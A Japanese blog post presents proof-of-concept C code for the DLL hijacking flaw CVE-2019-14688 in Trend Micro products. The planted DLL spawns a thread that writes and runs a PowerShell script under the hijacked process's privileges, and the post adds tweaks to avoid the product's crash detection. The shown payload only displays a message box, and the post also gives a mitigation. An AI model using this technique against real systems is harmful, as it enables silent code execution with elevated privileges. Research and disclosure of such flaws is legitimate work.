某セキュリティソフトに存在する脆弱性を検証後、表示するコードを改良してみた

【トレンドマイクロ】ウイルスバスタークラウド含む12製品の CVE-2019-14688 が全然直ってない件【中国製】

件の脆弱性が直ってないことを検証するコード

今までは、検証した後、dllmain の中の     if(ul_reason_for_call==1){ を確認して その中で MessageBox を表示するという処理をしていたのですが、ウイルスバスターの一部の処理は、外部のDLLにGUIが生成されると、異常を検出して強制終了するみたいなので、処理を変えてみました

    int v= (int)CreateThread(NULL , 0 , ThreadFunc , (LPVOID)0 , 0 , &tid);

DLLMAIN ではスレッド作成するだけ

DWORD WINAPI ThreadFunc(LPVOID vdParam) {
    FILE *fs;
char script[]="\n"
"Set-StrictMode -version Latest \n"
"Add-Type -AssemblyName System.Windows.Forms;\n"
"$text = \"";
char script2[]="\";\n"
"$caption = \"とれんどまいくろはっきんぐてすと\";\n"
"$buttonsType = \"Ok\";\n"
"$iconType = \"Information\";\n"
"$result = [System.Windows.Forms.MessageBox]::Show($text, $caption, $buttonsType, $iconType);\n"
"$result;\n";

  fs=fopen("pp.ps1","wb+");
  fprintf(fs,"%s%s%s",script,by,script2);
  fclose(fs);
  ShellExecute(0, NULL, "PowerShell.exe", "-noExit  -ExecutionPolicy RemoteSigned -File .\\pp.ps1",NULL, SW_SHOWMINIMIZED);

※ 公開したのは乗っ取った後情報を表示するだけのコードなので…
(ぷるぷる)ぼくは、悪いプログラムじゃないよ

スレッドでは管理者専用フォルダにプログラムを書き込んで、実行させるという処理。

乗っ取ったプロセスの権限がそのまま継承されて起動するので、警告などは出ません。

vb6
わーい、今まで検出できなかった、インストーラー本体でも、乗っ取り確認ができた((((・ω・))))

私は個人的には、長期間直せないなら、防ぎ方アナウンスしたほうがいいと思うんですけどね
なんで直るまで情報公開しないのか、よく分からないです

ちなみに、脆弱性の悪用は、C:\ProgramData\Trend Micro Installer  という一時フォルダを削除することで、ある程度防ぐことができます。

おすすめ

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です